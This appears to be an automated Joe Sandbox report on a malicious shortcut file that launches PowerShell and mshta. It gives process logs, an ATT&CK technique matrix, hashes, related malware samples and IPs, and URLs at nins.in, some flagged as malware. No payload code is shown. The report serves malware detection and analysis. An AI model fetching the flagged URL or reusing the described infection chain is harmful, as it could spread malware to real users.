Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\mshta.exe
Source: LNK file	Process created: C:\Windows\System32\mshta.exe	Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1799			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 654			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 616	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6348	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	21 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	11 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source	Detection	Scanner	Label
https://nins.in/cembra/power/powersearch...M	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearchogramFil	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearchon	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearchk	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearch...	100%	Avira URL Cloud	malware
https://nins.in/cembra/power/powersearch%	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearch...U	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearchmE	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearchsRZ	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearchuserLOZOrc0	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearchHu	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearch	100%	Avira URL Cloud	malware
https://nins.in/cembra/power/powersearchRelPath=	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearchH	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearchG	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearch...5	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearchNK	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearchhttps://nins.in/cembra/power/powersearch	0%	Avira URL Cloud	safe
https://nins.in/	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearchC:	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearch$global:?	0%	Avira URL Cloud	safe
https://nins.in/cembra/power/powersearch0;	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://nins.in/cembra/power/powersearch...M	mshta.exe, 00000005.00000002.3259548931.0000028C61BF2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nins.in/cembra/power/powersearchk	mshta.exe, 00000005.00000002.3257942443.000002845F090000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nins.in/cembra/power/powersearchon	mshta.exe, 00000005.00000002.3258533390.0000028C60E6C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nins.in/cembra/power/powersearch...	mshta.exe, 00000005.00000002.3259548931.0000028C61BF2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://nins.in/cembra/power/powersearchogramFil	WMIC.exe, 00000000.00000002.2022963351.000002055E3F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nins.in/cembra/power/powersearch%	mshta.exe, 00000005.00000002.3257942443.000002845F0A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nins.in/cembra/power/powersearch...U	mshta.exe, 00000005.00000002.3259548931.0000028C61BF2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nins.in/cembra/power/powersearchmE	mshta.exe, 00000005.00000002.3259548931.0000028C61BF2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000006.00000002.3259551817.000001AB5B000000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000006.00000003.2101858618.000001AB5AE70000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr, edb.log.6.dr	false		high
https://nins.in/cembra/power/powersearchsRZ	mshta.exe, 00000005.00000002.3257942443.000002845F059000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nins.in/cembra/power/powersearchuserLOZOrc0	mshta.exe, 00000005.00000002.3258242166.000002845F1E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nins.in/cembra/power/powersearchHu	mshta.exe, 00000005.00000002.3258533390.0000028C60E10000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.6.dr	false		high
https://nins.in/cembra/power/powersearchRelPath=	WMIC.exe, 00000000.00000003.2020914297.000002055E2C6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nins.in/cembra/power/powersearchH	mshta.exe, 00000005.00000002.3257922633.000002845F020000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nins.in/cembra/power/powersearchG	mshta.exe, 00000005.00000002.3257406405.000000F7AD332000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nins.in/cembra/power/powersearch...5	mshta.exe, 00000005.00000002.3259548931.0000028C61BF2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nins.in/cembra/power/powersearchNK	mshta.exe, 00000005.00000002.3257942443.000002845F059000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nins.in/cembra/power/powersearchhttps://nins.in/cembra/power/powersearch	mshta.exe, 00000005.00000002.3261480510.0000028C66005000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nins.in/	mshta.exe, 00000005.00000002.3257942443.000002845F0A6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://nins.in/cembra/power/powersearchC:	mshta.exe, 00000005.00000002.3257942443.000002845F030000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.3257942443.000002845F0EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nins.in/cembra/power/powersearch$global:?	powershell.exe	false	Avira URL Cloud: safe	unknown
https://nins.in/cembra/power/powersearch0;	mshta.exe, 00000005.00000002.3260581593.0000028C65BB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570896
Start date and time:	2024-12-08 09:51:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	h0UP1BcPk5.lnk renamed because original name is a hash value
Original Sample Name:	8aac762da1e4edaec3b7c4c891d9224c.lnk
Detection:	MAL
Classification:	mal96.evad.winLNK@7/13@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 2 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .lnk

Time	Type	Description
03:51:56	API Interceptor	1x Sleep call for process: WMIC.exe modified
03:52:04	API Interceptor	2x Sleep call for process: svchost.exe modified
03:52:08	API Interceptor	1x Sleep call for process: mshta.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	Ti5nuRV7y4.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	119.18.54.39
	m30zZYga23.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	PO82200487.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	ORDER#023_2024.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	QFEWElNtpn.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	SoA_14000048_002.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	Quote 000002320.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	new booking 9086432659087.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	162.251.80.30
	rAttached_updat.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.76.231.42
	LPO-2024-357.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.79.62.115

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	vzHOEzLbDj.exe	Get hash	malicious	Unknown	Browse	216.10.240.70
	WaveExecutor.exe	Get hash	malicious	Unknown	Browse	216.10.240.70
	Nexus-Executor.exe	Get hash	malicious	Unknown	Browse	216.10.240.70
	WaveExecutor.exe	Get hash	malicious	Unknown	Browse	216.10.240.70
	Nexus-Executor.exe	Get hash	malicious	Unknown	Browse	216.10.240.70
	Xeno Executor.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	216.10.240.70
	file.exe	Get hash	malicious	Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar	Browse	216.10.240.70
	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	216.10.240.70
	malware.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	216.10.240.70
	INQUIRY REQUEST AND PRICES_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	216.10.240.70

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307210565309133
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugQ:gJjJGtpTq2yv1AuNZRY3diu8iBVqFa
MD5:	064D41BD0F0F86602280A63719B9E849
SHA1:	86D290AFD2E54A29620F72637C458D486212B0F9
SHA-256:	3BD91867635F30BE9EAEC2B8AC545C002CF8C95B4AD9F0532D46FDCDAE1C8D9B
